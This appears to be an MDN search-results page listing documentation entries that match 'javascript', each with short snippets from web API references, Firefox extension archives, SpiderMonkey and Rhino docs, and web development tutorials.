... there are many online linter applications, the best of which are probably dirty markup (html, css, javascript), and css lint (css only).
...And 8 more matches
Displaying Places information using views
the overlay contains javascript required by the views.
... you may specify the attribute directly in the xul or set its corresponding property via javascript.
...for more complicated queries or queries whose uris you plan on changing, you will want to set the view's place property dynamically using javascript.
...And 8 more matches
XPCOMUtils.jsm
the xpcomutils.jsm javascript code module offers utility routines for javascript components loaded by the javascript component loader.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained previously.
... pseudocode this section provides some pseudocode that demonstrates how to put together a javascript class based on the steps listed above.
...And 8 more matches
Rhino shell
the javascript shell provides a simple way to run scripts in batch mode or an interactive environment for exploratory programming.
... invoking the shell java org.mozilla.javascript.tools.shell.main [options] script-filename-or-url [script-arguments] where options are: -e script-source executes script-source as a javascript script.
... -f script-filename-or-url reads script-filename-or-url content and execute it as a javascript script.
...And 8 more matches
SpiderMonkey 1.8
the mozilla javascript team is pleased to announce the release of spidermonkey 1.8 release candidate 1.
... spidermonkey 1.8 is the javascript engine that shipped in firefox 3.0.
...or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 8 more matches
Mozilla
browser chrome tests the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework.
... creating javascript callbacks in components xpcom components use idl to create interfaces.
...And 8 more matches
EventTarget.addEventListener() - Web APIs
this must be an object implementing the eventlistener interface, or a javascript function.
...see dom level 3 events and javascript event order for a detailed explanation.
... html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == "three") { t2.firstchild.nodevalue = "two"; } else { t2.firstchild.nodevalue = "three"; } } // add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", modifytext, false); in this code, modifytex...
...And 8 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
<!doctype html> <html> <head> <meta charset="utf-8" /> <title>javascript typewriter - mdn example</title> <script> function typewriter (sselector, nrate) { function clean () { clearinterval(nintervid); btyping = false; bstart = true; ocurrent = null; asheets.length = nidx = 0; } function scroll (osheet, npos, beraseandstop) { if (!osheet.hasownproperty('parts') || amap.length < npos) { return true; } var orel, bexit = false; ...
...</div> <h1>javascript typewriter</h1> <div id="article"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
... /*\ |*| |*| ie-specific polyfill that enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (html5 standard syntax).
...And 8 more matches
Getting Started - Developer guides
ajax stands for asynchronous javascript and xml.
... the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the server with javascript, you need an instance of an object with the necessary functionality.
...at this stage, you need to tell the xmlhttp request object which javascript function will handle the response, by setting the onreadystatechange property of the object and naming it after the function to call when the request changes state, like this: httprequest.onreadystatechange = nameofthefunction; note that there are no parentheses or parameters after the function name, because you're assigning a reference to the function, rather than actually calling it.
...And 8 more matches
Introduction to Web development - Developer guides
javascript beginning getting started with javascript — what is javascript and how can it help you?
... javascript reference guide — a comprehensive, regularly updated guide to javascript for all levels of learning from beginner to advanced.
... crockford on javascript — an in-depth video series on the javascript language.
...And 8 more matches
Source code directories overview - Archive of obsolete content
interfaces are used so functionality can be available to both javascript scripts and c code with as little effort as possible.
... dom contains c interfaces and code for implementing and tracking dom (document object model) objects in javascript.
... it forms the c substructure which creates, destroys and manipulates built-in and user-defined objects according to the javascript script.
...And 7 more matches
Custom toolbar button - Archive of obsolete content
if you know how to program in javascript, then you can write your own code that does other things.
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- firefox --> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird mail --> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird compose --> <toolbarpalette id="msgcomposetoolbarpalette"> <toolbarbutton id="...
...it also links to the stylesheet and javascript code that the button uses.
...And 7 more matches
HTML: A good basis for accessibility - Learn web development
after all, you can use a combination of css and javascript to make just about any html element behave in whatever way you want.
... there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors.
... you can then press enter/return to follow a focused link or press a button (we've included some javascript to make the buttons alert a message), or start typing to enter text in a text input.
...And 7 more matches
HTML: A good basis for accessibility - Learn web development
after all, you can use a combination of css and javascript to make just about any html element behave in whatever way you want.
... there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors.
... you can then press enter/return to follow a focused link or press a button (we've included some javascript to make the buttons alert a message), or start typing to enter text in a text input.
...And 7 more matches
Practical positioning examples - Learn web development
note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest.
...there is some javascript later on, but only a tiny bit.
...we'll also give you a bit of javascript to include on your page to display the corresponding panel when a tab is pressed, and style the tab itself.
...And 7 more matches
Tips for authoring fast-loading HTML pages - Learn web development
other tools can "compress" javascript by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions.
... further reading: understanding cdns reduce domain lookups since each separate domain costs time in a dns lookup, the page load time will grow along with the number of separate domains appearing in css link(s) and javascript and image src(es).
... more information: http conditional get for rss hackers http 304: not modified http etag on wikipedia caching in http optimally order the components of the page download page content first, along with any css or javascript that may be required for its initial display, so that the user gets the quickest apparent response during the page loading.
...And 7 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript.
... prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals.
... objective: to understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and javascript.
...And 7 more matches
Third-party APIs - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how third-party apis work, and how to use them to enhance your websites.
... third party apis are apis provided by third parties — generally companies such as facebook, twitter, or google — to allow you to access their functionality via javascript and use it on your site.
... they are found on third-party servers browser apis are built into the browser — you can access them from javascript immediately.
...And 7 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... handling events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them.
...And 7 more matches
Creating our first Vue component - Learn web development
previous overview: client-side javascript frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 7 more matches
SpiderMonkey 1.8.5
the mozilla javascript team is pleased to announce the release of spidermonkey 1.8.5.
... spidermonkey 1.8.5 is the javascript engine that shipped in firefox 4.0.
...or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 7 more matches
Components.utils
please keep this list in sync with the components object page methods method description cloneinto() create a structured clone of an object in a different javascript context.
... evalinsandbox() runs javascript code in a sandbox, usually used to run code with restricted privileges.
... evaluate javascript code in a less-privileged javascript context.
...And 7 more matches
Storage
opening a connection javascript example of opening my_db_file_name.sqlite in the profile directory: components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); let file = fileutils.getfile("profd", ["my_db_file_name.sqlite"]); let dbconn = services.storage.opendatabase(file); // will also create the file if it does not exist likewise, the c++ would look li...
... no results to be returned if you do not need to get any results back, you can use mozistorageconnection.executesimplesql() api like this in javascript: dbconn.executesimplesql("create temp table table_name (column_name integer)"); similarly, the c++ looks like this: rv = mdbconn->executesimplesql(ns_literal_cstring("create temp table table_name (column_name integer)")); ns_ensure_success(rv, rv); results to be returned however, if you need to get results back, you should create the statement with the mozistorageconnection.createstatement(...
...) api like this in javascript: var statement = dbconn.createstatement("select * from table_name where column_name = :parameter"); this example uses a named placeholder called "parameter" to be bound later (described in binding parameters).
...And 7 more matches
Introduction to the DOM - Web APIs
the dom is an object-oriented representation of the web page, which can be modified with a scripting language such as javascript.
... dom and javascript the short example above, like nearly all of the examples in this reference, is javascript.
... that is to say, it's written in javascript, but it uses the dom to access the document and its elements.
...And 7 more matches
Web applications and ARIA FAQ - Accessibility
aria enables dynamic, javascript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies.
...a wide variety of commonly-used browsers, assistive technologies, javascript toolkits, and applications now support aria.
...you may want to consider implementing aria using progressive enhancement techniques—such as adding aria using javascript, not directly to your markup—in order to more gracefully support older browsers and assistive technologies.
...And 7 more matches
HTTP Index - HTTP
WebHTTPIndex
9 mime types (iana media types) content-type, guide, http, mime types, meta, request header, response header, application/javascript, application/json, application/xml a media type (also known as a multipurpose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes.
... 45 http cookies advertising, browser, cookies, cookies article, guide, http, history, javascript, privacy, protocols, server, storage, web development, data, request, tracking an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser.
... 55 access-control-allow-credentials access-control-allow-credentials, cors, http, reference, credentials, header the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascript code when the request's credentials mode (request.credentials) is include.
...And 7 more matches
Proxy Auto-Configuration (PAC) file - HTTP
a proxy auto-configuration (pac) file is a javascript function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server.
... the javascript function contained in the pac file defines the function: function findproxyforurl(url, host) { // ...
... return value format the javascript function returns a single string if the string is null, no proxies should be used the string can contain any number of the following building blocks, separated by a semicolon: direct connections should be made directly, without any proxies proxy host:port the specified proxy should be used socks host:port the specified socks server should be used recent versions of firefox support as...
...And 7 more matches
Populating the page: how browsers work - Web Performance
the dom is also exposed, and can be manipulated through various apis in javascript.
...but before anything is rendered to the screen, the html, css, and javascript have to be parsed.
...as this happens, the preload scanner will parse through the content available and request high priority resources like css, javascript, and web fonts.
...And 7 more matches
Progressive loading - Progressive web apps (PWAs)
this is all about deferring loading of as many resources as possible (html, css, javascript), and only loading those immediately that are really needed for the very first experience.
... render-blocking resources bundling is a problem, because the browser has to load the html, css, and javascript before it can paint their rendered results onto the screen.
... to fix that we can, for example, add defer to javascript files: <script src="app.js" defer></script> they will be downloaded and executed after the document itself has been parsed, so it won't block rendering the html structure.
...And 7 more matches
WebAssembly
it is also designed to run alongside javascript, allowing both to work together.
... webassembly is designed to complement and run alongside javascript — using the webassembly javascript apis, you can load webassembly modules into a javascript app and share functionality between the two.
... this allows you to take advantage of webassembly's performance and power and javascript's expressiveness and flexibility in the same apps, even if you don't know how to write webassembly code.
...And 7 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
the role of each technology firefox is largely built using four technologies: xul, css, javascript, and xpcom.
... xml coding css coding basic javascript syntax xml: a text-based structural language extensible markup language (xml) is a meta-language for expressing various kinds of data.
... listing 2: css code sample body { color: black; background-color: white; } p { margin-bottom: 1em; text-indent: 1em; } javascript: the world's most misunderstood language javascript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to web pages.
...And 6 more matches
Index of archived content - Archive of obsolete content
elayed execution dialogs and prompts downloading files drag & drop embedding svg examples and demos from articles file i/o finding window handles forms related code snippets html in xul for rich tooltips html to dom isdefaultnamespace js xpcom javascript debugger service javascript timers javascript daemons management label and description lookupnamespaceuri lookupprefix miscellaneous modules on page load page loading post data to window preferences ...
... common pitfalls communication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences deploying a plugin as an extension developing add-ons displaying web content in an extension without security issues downloading json and javascript in extensions enhanced extension installation extension etiquette extension library extension packaging extension samples extension theming guidelines extension versioning, update and compatibility extensions support in seamonkey 2 firefox addons developer guide hiding browser chrome hotf...
... appendix d: loading scripts appendix e: dom building and insertion (html & xul) appendix f: monitoring dom changes connecting to remote content custom xul elements with xbl getting started with firefox extensions handling preferences intercepting page loads introduction javascript object management local storage mozilla documentation roadmap observer notifications setting up a development environment the box model the essentials of an extension useful mozilla community sites user notifications and alerts xpcom objects ...
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
javascript, considered by many to be the best scripting language ever designed is ideal for specifying the behavior of your interface widgets.
...gecko features full support for open internet standards such as css1, html 4.0, dom1, rdf, xml and javascript.
...applications that want to access the various mozilla xpcom libraries (networking, security, dom, etc.) use a special layer of xpcom called xpconnect, which reflects the library interfaces into javascript (or other languages).
...And 6 more matches
The Joy of XUL - Archive of obsolete content
applications written in xul are based on additional w3c standard technologies featuring html 4.0; cascading style sheets (css) 1 and 2; document object model (dom) levels 1 and 2; javascript 1.5, including ecma-262 edition 3 (ecmascript); xml 1.0.
... xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
...xpcom components can be written in c, c++, and javascript, and they can be used from c, c++, javascript, python, java, and perl.
...And 6 more matches
MSX Emulator (jsMSX) - Archive of obsolete content
jsmsx is the first msx emulator 100% written in javascript.
... yes, you read it: javascript!
...since javascript currently is mostly an interpreted language in web browsers, it is at least an order of magnitude slower than other languages such as c and java.
...And 6 more matches
Common causes of memory leaks in extensions - Extensions
a similar problem is holding onto window objects or dom nodes (such as window.document) for too long by storing them in a javascript module.
... for example: var windows = []; function injavascriptcodemodule(window) { // forgetting or failing to pop the window again windows.push(window); } both of these cases can happen if you forget to declare local variables with var or let, which means they end up belonging to the global scope.
...another solution would be to use the setinterval()/settimeout() instances content windows provide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work.
...And 6 more matches
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a primitive (primitive value, primitive data type) is data that is not an object and has no methods.
... javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a new (not a mutated) value bar = bar.
... another example [ step-by-step ] the following example will help you go through how javascript deals with primitives.
...And 6 more matches
Choosing the right approach - Learn web development
prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals.
... further information introducing asynchronous javascript, in particular async callbacks settimeout() settimeout() is a method that allows you to run a function after an arbitrary amount of time has passed.
... further information cooperative asynchronous javascript: timeouts and intervals, in particular settimeout() settimeout() reference setinterval() setinterval() is a method that allows you to run a function repeatedly with a set interval of time between each execution.
...And 6 more matches
Looping code - Learn web development
here we'll look at the loop structures available in javascript that handle such needs.
... prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps.
... objective: to understand how to use loops in javascript.
...And 6 more matches
Object building practice - Learn web development
previous overview: objects next in previous articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start from.
... in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, with a fun and colorful result.
... prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects).
...And 6 more matches
Introduction to automated testing - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...this is a great way to perform tasks like linting and minifying code, adding in css prefixes or transpiling nascent javascript features for maximum cross-browser reach, and so on.
... next, you'll need some sample html, css and javascript content to test your system on — make copies of our sample index.html, main.js, and style.css files in a subfolder with the name src inside your project folder.
...And 6 more matches
Script security
like any web browser, gecko can load javascript from untrusted and potentially hostile web pages and run it on the user's computer.
... gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascript.
... this javascript code, which is commonly referred to as chrome code, runs with system privileges.
...And 6 more matches
Rhino documentation
general overview an overview of the javascript language and of rhino.
... performance hints some tips on writing faster javascript code.
... javascript tools rhino shell interactive or batch execution of scripts.
...And 6 more matches
Rhino Examples
examples have been provided that show how to control the javascript engine and how to implement scriptable host objects.
...the liveconnect.js script shows a sample usage of liveconnect (java-to-javascript connectivity).
... the jsdoc.js script is a javascript analog to java's javadoc.
...And 6 more matches
Property attributes
see js_defineproperty, js_fs, and js_fn flag description jsprop_enumerate the property is visible to javascript for...in and for each ...
...in javascript 1.2 and lower, it is an error to attempt to assign a value to a read-only property.
... in javascript 1.3 and higher, as in ecmascript, attempts to set a value on a read-only property are ignored.
...And 6 more matches
SpiderMonkey 1.8.7
xxx needs updating the mozilla javascript team is pleased to announce the release of spidermonkey 1.8.5.
... spidermonkey 1.8.5 is the javascript engine that shipped in firefox 4.0.
...or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 6 more matches
nsIScriptError
js/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console service.
...you may pass null if you are lazy; that will prevent showing the source line in javascript console.
...this will be a hyperlink in the javascript console, so you should use a real url.
...And 6 more matches
XPIDL
interfaces are basically a collection of constants, methods, and attributes; in mozilla, these are the primary ways in which javascript code can interact with native c++ code.
... builtinclass javascript classes are forbidden from implementing this interface.
... function the javascript implementation of this interface may be a function that is invoked on property calls instead of an object with the given property scriptable this interface is usable by javascript classes.
...And 6 more matches
WebIDL bindings
"spidermonkey" interfaces are used to represent objects that are implemented natively by the javascript engine (e.g., typed arrays).
...the properties still have separate getter/setter functions in javascript, so from the point of view of web consumers it's as if you actually had two separate attribute declarations on your interface.
... [jsimplementation="@mozilla.org/some-contractid;1"] used on an interface to provide the contractid of the javascript component implementing the interface.
...And 6 more matches
Console messages - Firefox Developer Tools
filename and line number for javascript, css and console api messages, the message can be traced to a specific line of code.
... js javascript errors contain a "learn more" link that takes you to the javascript error reference containing additional advice for fixing issues: source maps the web console understands source maps.
... this means that if your javascript sources are compressed, you can supply a source map for them.
...And 6 more matches
Accessibility documentation index - Accessibility
2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... 7 aria live regions aria, accessibility, arialive using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
... 19 using the aria-hidden attribute aria, accessibility, attribute, codingscripting, html, javascript, needscontent, role(2), agent, alert, user, useragent this technique demonstrates how to use the aria-hidden attribute.
...And 6 more matches
CSS Houdini
advantages of houdini houdini enables faster parse times than using javascript .style for style changes.
...in addition, layout, paint, and composite processes are repeated for javascript style updates.
...houdini provides an object-based api for working with css values in javascript.
...And 6 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
5 the xslt/javascript interface in gecko xslt no summary!
...the javascript loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file.
... 9 introduction gecko, intro, javascript, xslt with modern browsers supporting xslt, developers can now use javascript to access the power that xslt provides.
...And 6 more matches
Setting Up a Development Environment - Archive of obsolete content
the firefox error console (tools > error console) normally displays javascript errors that occur on web pages, but with some tweaking you can get error information from your extension.
...it's a very useful inspection tool that lets you look into the dom of html and xul documents, as well as applied css rules and associated javascript objects.
...you can even change styles, attributes and execute javascript code in it, although that's not completely reliable.
...And 5 more matches
List of Mozilla-Based Applications - Archive of obsolete content
ftware uses mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva f...
... dogtag certificate system uses nss dojo javascript toolkit uses mozilla rhino in shrinksafe eclipse platform open development platform the ajax toolkit framework, standard widget toolkit and eclipsemozilla projects make use of mozilla elixon wcms/xul web content management system fully remote xul wcms (no need to install extensions).
... entelechy chat bot uses xulrunner epic browser web browser based on chromium uses mozilla nss and npapi libraries emusic download manager music downloader for emusic emusic remote music manager enlis genome personal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor seems to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the platf...
...And 5 more matches
Using the Editor from XUL - Archive of obsolete content
note that the <editor> element is really just an <iframe> which takes over some of the task of creating the editor from javascript.
...you can find the relevant xul parts in editor.xul, the javascript parts in editor.js, and the xbl binding for the editor element in editor.xml.
...that causes the editoronload() javascript function to get executed when the xul is done loading.
...And 5 more matches
Archived Mozilla and build documentation - Archive of obsolete content
there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes.
...it reports javascript-related errors and warnings, css errors and arbitrary messages from chrome code.
... exception logging in javascript technical review completed.
...And 5 more matches
VBArray.toArray - Archive of obsolete content
the vbarray.toarray method returns a standard javascript array converted from a vbarray.
... the conversion translates the multidimensional vbarray into a single dimensional javascript array.
...for example, a vbarray with three dimensions and three elements in each dimension is converted into a javascript array as follows: suppose the vbarray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9).
...And 5 more matches
ECMAScript 5 support in Mozilla - Archive of obsolete content
ecmascript 5.1, an older version of the standard upon which javascript is based, was approved in june 2011.
... the javascript runtime used in the latest versions of mozilla projects including both firefox and thunderbird has full support for ecmascript 5.1 features.
... this article covers the features supported by different versions of mozilla's javascript runtime.
...And 5 more matches
JSException - Archive of obsolete content
summary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascript.jsexception description jsexception is an exception which is thrown when javascript code returns an error.
... constructor summary the netscape.javascript.jsexception class has the following constructors: jsexception deprecated constructors optionally let you specify a detail message and other information.
... method summary the netscape.javascript.jsexception class has the following methods: getwrappedexception instance method getwrappedexception.
...And 5 more matches
Packages - Archive of obsolete content
summary a top-level object used to access java classes from within javascript code.
... created by the packages object is a top-level, predefined javascript object.
... description the packages object lets you access the public methods and fields of an arbitrary java class from within javascript.
...And 5 more matches
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
...it is based on the entity component system, which is known in the game development world, but it targets web developers with a familiar markup structure, manipulable with javascript.
... save a copy of the latest a-frame javascript library file inside your directory (check the github repository for latest stable a dev builds).
...And 5 more matches
Efficient animation for web games - Game development
we touch on css transitions and css animations, and javascript loops involving window.requestanimationframe.
... help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
... though javascript animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game animation state, you’re unlikely to be able to do a better job than the browser.
...And 5 more matches
asm.js - Game development
asm.js is a specification defining a subset of javascript that is highly optimizable.
... it is a very small, strict subset of javascript that only allows things like `while`, `if`, numbers, top-level named functions, and other simple constructs.
...asm.js code resembles c in many ways, but it's still completely valid javascript that will run in all current engines.
...And 5 more matches
What’s in the head? Metadata in HTML - Learn web development
applying css and javascript to html just about all websites you'll use in the modern day will employ css to make them look cool, and javascript to power interactive functionality, such as video players, maps, games, and more.
...this takes two attributes, rel="stylesheet", which indicates that it is the document's stylesheet, and href, which contains the path to the stylesheet file: <link rel="stylesheet" href="my-css-file.css"> the <script> element should also go into the head, and should include a src attribute containing the path to the javascript you want to load, and defer, which basically instructs the browser to load the javascript at the same time as the page's html.
... this is useful as it makes sure that the html is all loaded before the javascript runs, so that you don't get errors resulting from javascript trying to access an html element that doesn't exist on the page yet.
...And 5 more matches
Making decisions in your code — conditionals - Learn web development
in this article, we'll explore how so-called conditional statements work in javascript.
... prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps.
... objective: to understand how to use conditional structures in javascript.
...And 5 more matches
Video and Audio APIs - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use browser apis to control video and audio playback.
... you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript.
...if you downloaded our examples repo, you'll find it in javascript/apis/video-audio/start/ at this point, if you load the html you should see a perfectly normal html5 video player, with the native controls rendered.
...And 5 more matches
Ember resources and troubleshooting - Learn web development
previous overview: client-side javascript frameworks next our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...And 5 more matches
Componentizing our React app - Learn web development
previous overview: client-side javascript frameworks next at this point, our app is a monolith.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...this is bad html because id attributes must be unique (they are used as unique identifiers for document fragments, by css, javascript, etc.).
...And 5 more matches
Deployment and next steps - Learn web development
previous overview: client-side javascript frameworks in the previous article we learning about svelte's typescript support, and how to use it to make your application more robust.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...as we saw earlier, this instruction tells svelte to compile our components and javascript files into a public/build/bundle.js file and all the css sections of our components into public/build/bundle.css.
...And 5 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
previous overview: client-side javascript frameworks next in the last article we added more features to our to-do list and started to organize our app into components.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... these frameworks, by default, basically re-run all our javascript on every change against this virtual dom, and apply different methods to cache expensive calculations and optimize execution.
...And 5 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 5 more matches
Introduction to cross browser testing - Learn web development
wser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
...you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features.
...troubleshooting javascript from previous topics to refresh your memory if needed).
...And 5 more matches
Rhino scopes and contexts
there should be one and only one context associated with each thread that will be executing javascript.
... scopes a scope is a set of javascript objects.
...rhino guarantees that accesses to properties of javascript objects are atomic across threads, but doesn't make any more guarantees for scripts executing in the same scope at the same time.
...And 5 more matches
Rhino serialization
beginning with rhino 1.5 release 3 it is possible to serialize javascript objects, including functions and scripts.
...they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called.
...however, for javascript this creates a problem.
...And 5 more matches
Hacking Tips
all tips listed here are dealing with the javascript shell obtained at the end of the build documentation of spidermonkey.
... hacking tips benchmarking (shell) arewefastyet.com display the benchmark results of the javascript shell, and browser for b2g.
... these benchmarks are publicly recognized benchmarks suggested by other companies and are used as a metric to evaluate how fast javascript engines.
...And 5 more matches
JS_InitClass
make a jsclass accessible to javascript code by creating its prototype, constructor, properties, and functions.
...so, for example, if this object is js_getglobalobject(cx), then javascript code will be able to see the new class as a global name.
...(this is the javascript equivalent of public, non-static methods in c++ or java.) static_ps jspropertyspec * either null or a pointer to the first element of an array of jspropertyspecs, terminated by the null jspropertyspec.
...And 5 more matches
SpiderMonkey 24
the mozilla javascript team is pleased to announce the release of spidermonkey 24.
... you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascript engine that shipped in firefox 24.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 5 more matches
Components.utils.forceGC
the mozilla javascript engine will perform garbage collection automatically when the javascript heap grows beyond a certain size.
... this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though.
... in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable.
...And 5 more matches
XPConnect wrappers
basic xpconnect objects xpcwrappednative these objects are created when any natively implemented xpcom object (that is, any object implemented in c++) needs to be reflected into javascript.
... this includes all dom objects (including window) and chrome elements that are reflected into javascript.
... this wrapper is responsible for mapping calls from javascript into c++.
...And 5 more matches
XPCOM
it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.
...this can create a difficult situation for extension developers trying to support multiple gecko versions (firefox 2 and 3, for example).creating a python xpcom componentcreating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
...xpcom components can be implemented in c, c++, and javascript, and can be used from c, c++, and javascript.
...And 5 more matches
Declaring and Using Callbacks
in these cases, js-ctypes allows you to pass a regular javascript function as the callback.
